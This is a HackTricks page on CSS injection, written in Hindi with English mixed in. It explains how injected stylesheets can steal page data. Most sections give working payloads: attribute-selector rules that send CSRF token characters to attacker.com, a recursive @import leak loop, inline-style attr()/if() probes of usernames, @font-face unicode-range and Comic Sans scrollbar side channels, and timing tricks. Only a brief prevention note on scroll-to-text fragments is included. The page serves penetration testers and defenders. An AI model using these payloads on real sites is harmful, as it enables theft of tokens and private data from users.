CSS Injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

CSS Injection

LESS Code Injection

LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import निर्देश जोड़ता है। संकलन के दौरान LESS engine @import स्टेटमेंट्स में संदर्भित resources को fetch करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनके contents को परिणामस्वरूप CSS में embed (“inline”) कर देगा।

{{#ref}} less-code-injection.md {{/ref}}

एट्रिब्यूट सेलेक्टर

CSS selectors को इस तरह बनाया गया है कि वे किसी input element के name और value attributes के मान से मेल खाते हैं। यदि input element का value attribute किसी विशेष character से शुरू होता है, तो एक predefined external resource लोड किया जाता है:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

हालाँकि, यह तरीका hidden input elements (type=“hidden”) से निपटने में एक सीमा का सामना करता है क्योंकि hidden elements बैकग्राउंड लोड नहीं करते।

Hidden Elements के लिए Bypass

इस सीमा को बायपास करने के लिए, आप ~ general sibling combinator का उपयोग करके किसी subsequent sibling element को target कर सकते हैं। फिर CSS rule hidden input element के बाद आने वाले सभी siblings पर लागू हो जाती है, जिससे background image लोड हो जाता है:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it यहाँ.

CSS Injection के लिए आवश्यकताएँ

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS injection vector को पर्याप्त लंबी payloads का समर्थन करना चाहिए ताकि तैयार किए गए selectors समायोजित हो सकें।
  2. CSS Re-evaluation: आपके पास पेज को फ्रेम करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS के पुनः मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
  3. External Resources: यह तकनीक externally hosted images के उपयोग की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है।

Blind Attribute Selector

As जैसा कि इस पोस्ट में समझाया गया है, यह संभव है कि selectors :has और :not को संयोजित करके सामग्री की पहचान की जा सके, यहाँ तक कि blind elements से भी। यह तब बहुत उपयोगी होता है जब आपको यह पता ही नहीं होता कि CSS injection लोड करने वाले वेब पेज के अंदर क्या है।
इन selectors का उपयोग एक ही प्रकार के कई ब्लॉक्स से जानकारी निकालने के लिए भी किया जा सकता है, जैसे:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

इसे निम्नलिखित @import तकनीक के साथ मिलाकर, blind-css-exfiltration. के साथ blind pages से CSS injection का उपयोग करके बहुत सारी जानकारी exfiltrate करना संभव है।

@import

पिछली तकनीक में कुछ कमियाँ हैं, prerequisites देखें। आपको या तो send multiple links to the victim, या आपको iframe the CSS injection vulnerable page करने में सक्षम होना चाहिए।

हालाँकि, एक और चालाक तकनीक है जो तकनीक की गुणवत्ता सुधारने के लिए CSS @import का उपयोग करती है।

यह सबसे पहले Pepe Vila द्वारा दिखाया गया था और यह इस तरह काम करता है:

एक ही पेज को बार-बार अलग-अलग payloads के साथ लोड करने के बजाय (जैसा कि पिछले तरीके में), हम पेज को केवल एक बार लोड करेंगे और इसमें केवल attackers server तक एक import होगा (this is the payload to send to the victim):

@import url("//attacker.com:5001/start?");
  1. import कुछ CSS script प्राप्त करेगा attackers से और browser इसे लोड करेगा
  2. CSS script का पहला हिस्सा जो attacker भेजेगा वह फिर से @import attackers के server की तरफ़ होगा।
  3. attackers का server अभी इस request का जवाब नहीं देगा, क्योंकि हम कुछ chars को leak करना चाहते हैं और फिर इस import का जवाब अगले chars को leak करने वाला payload भेजकर देंगे।
  4. payload का दूसरा और बड़ा हिस्सा एक attribute selector leakage payload होगा
  5. यह attackers के server को secret के पहला char और आखिरी char भेजेगा
  6. जब attackers का server secret के पहला और आखिरी char प्राप्त कर लेगा, तब यह step 2 में request किए गए import का जवाब देगा।
  7. response बिल्कुल वही होगा जो steps 2, 3 and 4 थे, लेकिन इस बार यह secret का दूसरा char और फिर penultimate खोजने की कोशिश करेगा।

Attacker इस लूप का पालन करता रहेगा जब तक कि वह secret को पूरी तरह से leak करने में सफल न हो जाए।

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

Script हर बार 2 chars खोजने की कोशिश करेगा (शुरुआत और अंत से) क्योंकि attribute selector इस तरह की चीज़ें करने की अनुमति देता है:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

इससे script को secret जल्दी leak करने में मदद मिलती है।

Warning

कभी-कभी script सही तरीके से पता नहीं लगाता कि जो prefix + suffix मिला हुआ है वह पहले से ही पूरा flag है और यह आगे (prefix में) और पीछे (suffix में) जारी रहेगा और किसी बिंदु पर hang कर सकता है.
चिंता की कोई बात नहीं, बस output चेक करें क्योंकि आप वहां flag देख सकते हैं

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: किसी element के style attribute को control करें और सुनिश्चित करें कि target attribute उसी element पर हो (attr() केवल same-element attributes पढ़ता है)।
  • Read: attribute को एक CSS variable में copy करें: –val: attr(title).
  • Decide: nested conditionals का उपयोग करके variable की तुलना string candidates से करें और URL चुनें: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: background: image-set(var(–steal)) (या कोई भी fetching property) apply करके चुने गए endpoint की request को मजबूर करें।

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

काम करने वाला payload (comparison में double quotes आवश्यक):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Nested conditionals के साथ attribute values को सूचीबद्ध करना:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

वास्तविक डेमो (probing usernames):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

नोट्स और सीमाएँ:

  • रिसर्च के समय Chromium-based ब्राउज़र पर काम करता है; अन्य engines पर व्यवहार अलग हो सकता है।
  • सीमित/गणनीय मान स्पेस (IDs, flags, short usernames) के लिए सबसे उपयुक्त। बाहरी stylesheets के बिना arbitrary लंबे स्ट्रिंग्स को चुराना अभी भी चुनौतीपूर्ण है।
  • कोई भी CSS property जो URL फ़ेच करती है वह request ट्रिगर करने के लिए उपयोग की जा सकती है (उदा., background/image-set, border-image, list-style, cursor, content).

ऑटोमेशन: एक Burp Custom Action nested inline-style payloads जनरेट कर सकता है ताकि attribute values को brute-force किया जा सके: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

अन्य selectors

DOM के हिस्सों तक पहुँचने के अन्य तरीके CSS selectors के साथ:

  • .class-to-search:nth-child(2): यह DOM में class “class-to-search” वाला दूसरा आइटम खोजेगा।
  • :empty selector: उदाहरण के लिए this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

संदर्भ: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

समग्र उद्देश्य यह है कि नियंत्रित endpoint से एक custom font का उपयोग किया जाए और यह सुनिश्चित किया जाए कि टेक्स्ट (इस मामले में, ‘A’) केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित हो जब निर्दिष्ट resource (favicon.ico) लोड नहीं हो पाए

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. कस्टम फ़ॉन्ट का उपयोग:
  • सेक्शन में
  • फ़ॉन्ट का नाम poc रखा गया है और इसे एक बाहरी endpoint (http://attacker.com/?leak) से फेच किया जाता है।
  • unicode-range प्रॉपर्टी U+0041 पर सेट की गई है, जो विशिष्ट Unicode कैरेक्टर ‘A’ को लक्षित करती है।
  1. Fallback टेक्स्ट वाला एलिमेंट:
  • सेक्शन में id="poc0" वाले एलिमेंट बनाए गए हैं। यह एलिमेंट http://192.168.0.1/favicon.ico से एक रिसोर्स लोड करने की कोशिश करता है।
  • इस एलिमेंट के लिए font-family ‘poc’ सेट किया गया है, जैसा कि
  • यदि रिसोर्स (favicon.ico) लोड नहीं होता है, तो टैग के अंदर fallback कंटेंट (अक्षर ‘A’) प्रदर्शित होगा।
  • यदि बाहरी रिसोर्स लोड नहीं हो पाता है तो fallback कंटेंट (‘A’) कस्टम फ़ॉन्ट poc का उपयोग करके रेंडर होगा।

Scroll-to-text Fragment की Styling

CSS Selectors Level 4 specification में निर्दिष्ट के अनुसार, किसी एलिमेंट को चुनने के लिए :target pseudo-class का उपयोग किया जाता है जो कि URL fragment द्वारा लक्षित हो। यह समझना महत्वपूर्ण है कि ::target-text किसी भी एलिमेंट से मेल नहीं खाता जब तक कि टेक्स्ट को स्पष्ट रूप से fragment द्वारा लक्षित न किया गया हो।

एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर Scroll-to-text fragment फीचर का फायदा उठाते हैं, जिससे वे HTML injection के जरिए अपने सर्वर से रिसोर्स लोड करके वेबपेज पर किसी विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि कर सकते हैं। तरीका एक CSS नियम इंजेक्ट करने में शामिल है जैसे:

:target::before {
content: url(target.png);
}

ऐसी परिस्थितियों में, यदि पेज पर “Administrator” टेक्स्ट मौजूद है, तो resource target.png सर्वर से अनुरोध किया जाता है, जो टेक्स्ट की मौजूदगी का संकेत देता है। इस हमले का एक उदाहरण एक विशेष रूप से तैयार किया गया URL के माध्यम से चलाया जा सकता है जो injected CSS को Scroll-to-text fragment के साथ embed करता है:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text “Administrator” through the Scroll-to-text fragment (#:~:text=Administrator). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.

रोकथाम के लिए, निम्न बिंदुओं पर ध्यान देना चाहिए:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, इसलिए इसकी क्षमता arbitrary secrets या tokens को leak करने तक सीमित रहती है।
  2. Restriction to Top-level Browsing Contexts: STTF केवल top-level browsing contexts में काम करता है और iframes के भीतर काम नहीं करता, जिससे किसी भी exploitation प्रयास का उपयोगकर्ता द्वारा नोटिस होना आसान होता है।
  3. Necessity of User Activation: STTF को काम करने के लिए user-activation gesture की आवश्यकता होती है, जिसका अर्थ है कि exploitations केवल user-initiated navigations के माध्यम से संभव हैं। यह आवश्यकता बिना user interaction के attacks को स्वचालित रूप से होने के जोखिम को काफी हद तक कम करती है। तथापि, ब्लॉग पोस्ट के लेखक कुछ विशिष्ट शर्तों और bypasses (e.g., social engineering, interaction with prevalent browser extensions) की ओर इशारा करते हैं जो attack की automation को आसान बना सकते हैं।

इन मैकेनिज़्म और संभावित कमजोरियों के बारे में जागरूकता वेब सुरक्षा बनाए रखने और ऐसे exploitative tactics से सुरक्षा सुनिश्चित करने के लिए महत्वपूर्ण है।

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

आप विशेष unicode मानों के लिए external fonts निर्दिष्ट कर सकते हैं, जो केवल तभी gathered किए जाएँगे जब वे unicode मान पृष्ठ में मौजूद हों। उदाहरण के लिए:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

जब आप इस पेज को एक्सेस करते हैं, तो Chrome और Firefox “?A” और “?B” को फ़ेच करते हैं क्योंकि sensitive-information के text node में “A” और “B” कैरेक्टर्स होते हैं। लेकिन Chrome और Firefox “?C” को फ़ेच नहीं करते क्योंकि इसमें “C” मौजूद नहीं है। इसका मतलब है कि हम “A” और “B” को पढ़ने में सफल रहे।

Text node exfiltration (I): ligatures

संदर्भ: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

यह तकनीक font ligatures का लाभ उठाकर और width में बदलाव मॉनिटर करके किसी node से टेक्स्ट निकालने पर आधारित है। प्रक्रिया में कई चरण शामिल हैं:

  1. कस्टम फ़ॉन्ट्स का निर्माण:
  • SVG fonts को glyphs के साथ बनाया जाता है जिनमें horiz-adv-x attribute होता है, जो दो-अक्षर अनुक्रम के लिए glyph की चौड़ाई बड़ी सेट करता है।
  • Example SVG glyph: , where “XY” denotes a two-character sequence.
  • इन फ़ॉन्ट्स को बाद में fontforge का उपयोग करके woff फॉर्मेट में कन्वर्ट किया जाता है।
  1. चौड़ाई बदलने का पता लगाना:
  • CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट wrap न हो (white-space: nowrap) और scrollbar style को कस्टमाइज़ करने के लिए।
  • एक horizontal scrollbar का दिखाई देना, जो अलग तरीके से styled हो, एक indicator (oracle) के रूप में काम करता है कि कोई विशेष ligature, और इसलिए कोई विशेष character sequence, टेक्स्ट में मौजूद है।
  • The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: बड़े width वाले character pairs के लिए fonts बनाए जाते हैं।
  • Step 2: एक scrollbar-based ट्रिक का उपयोग किया जाता है यह पता लगाने के लिए कि कब large width glyph (character pair का ligature) render हुआ है, जो character sequence की मौजूदगी का संकेत देता है।
  • Step 3: एक ligature का पता लगने पर, नए glyphs जिनका प्रतिनिधित्व तीन-अक्षर अनुक्रम करते हैं, उत्पन्न किए जाते हैं, जिनमें मिले हुए pair को शामिल करके एक पहले या बाद में आने वाला अक्षर जोड़ा जाता है।
  • Step 4: तीन-अक्षर ligature का पता लगाया जाता है।
  • Step 5: यह प्रक्रिया दोहराई जाती है, जिससे क्रमशः पूरा टेक्स्ट उजागर होता जाता है।
  1. Optimization:
  • वर्तमान initialization मेथड, जो <meta refresh=… का उपयोग करती है, optimal नहीं है।
  • अधिक कुशल तरीका CSS @import trick का उपयोग कर सकता है, जो exploit के प्रदर्शन को बेहतर बनाएगा।

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

संदर्भ: PoC using Comic Sans by @Cgvwzq & @Terjanq

यह ट्रिक इस Slackers thread में रिलीज़ की गई थी। टेक्स्ट नोड में उपयोग किया गया charset ब्राउज़र में इंस्टॉल्ड default fonts का उपयोग करके leaked किया जा सकता है: कोई external -or custom- fonts आवश्यक नहीं हैं।

यह अवधारणा एक animation का उपयोग करके एक div की चौड़ाई क्रमिक रूप से बढ़ाने पर केंद्रित है, जिससे एक समय में एक अक्षर ‘suffix’ हिस्से से ‘prefix’ हिस्से में ट्रांज़िशन कर सके। यह प्रक्रिया प्रभावी रूप से टेक्स्ट को दो हिस्सों में विभाजित कर देती है:

  1. Prefix: प्रारंभिक पंक्ति।
  2. Suffix: अगली पंक्ति(याँ)।

चरित्रों के ट्रांज़िशन स्टेज इस प्रकार दिखाई देंगे:

C
ADB

CA
DB

CAD
B

CADB

इस ट्रांज़िशन के दौरान, unicode-range trick का उपयोग किया जाता है प्रत्येक नए character की पहचान करने के लिए जब वह prefix में जुड़ता है। यह Comic Sans फ़ॉन्ट में स्विच करके प्राप्त किया जाता है, जो default फ़ॉन्ट से उल्लेखनीय रूप से ऊँचा होता है, जिसके परिणामस्वरूप एक vertical scrollbar ट्रिगर होता है। इस scrollbar का दिखाई देना अप्रत्यक्ष रूप से prefix में एक नए character की मौजूदगी को उजागर करता है।

हालाँकि यह तरीका जैसे ही यूनिक अक्षर प्रकट होते हैं उन्हें डिटेक्ट करने की अनुमति देता है, यह नहीं बताता कि कौन सा character दोहराया गया है, केवल यह बताता है कि दोहराव हुआ है।

Tip

बुनियादी तौर पर, unicode-range का उपयोग एक char का पता लगाने के लिए किया जाता है, लेकिन चूंकि हम कोई external font लोड नहीं करना चाहते, हमें दूसरा तरीका ढूंढना होगा।
जब वह char मिल जाता है, तो उसे pre-installed Comic Sans font दिया जाता है, जो उस char को बड़ा कर देता है और एक scroll bar ट्रिगर करता है, जो मिल चुका char को leak कर देगा।

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: यह an unsuccessful solution in this writeup में उल्लिखित है

यह मामला पिछले वाले जैसा ही है, हालांकि यहाँ लक्ष्य कुछ विशिष्ट अक्षरों को दूसरों से बड़ा बनाकर कुछ छुपाना है—जैसे कोई बटन ताकि bot उसे न दबाए या कोई image जो लोड न हो। इसलिए हम उस क्रिया (या क्रिया की कमी) को माप सकते हैं और यह जान सकते हैं कि कोई विशिष्ट char टेक्स्ट के अंदर मौजूद है या नहीं।

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: यह an unsuccessful solution in this writeup में उल्लिखित है

इस मामले में, हम यह कोशिश कर सकते हैं कि कोई char टेक्स्ट में है या नहीं यह पता लगाने के लिए उसी origin से एक fake font लोड करके:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

हालाँकि, यदि cached response और non-cached response के बीच समय का अंतर पर्याप्त बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

इस मामले में आप संकेत दे सकते हैं कि CSS to load hundreds of fake fonts उसी origin से तब लोड किए जाएँ जब मैच हो। इस तरह आप measure the time कर सकते हैं कि कितना समय लगता है और यह पता लगा सकते हैं कि कोई char दिखाई देता है या नहीं, कुछ ऐसा:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

और बॉट का कोड इस तरह दिखता है:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर विज़िट करने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद की जा सकती है। हालांकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क पर लगातार गतिविधि होगी। परिणामस्वरूप, रोकने की शर्त पूरा होने और प्रतिक्रिया प्राप्त होने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि फ़ॉन्ट मेल खाता है या नहीं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें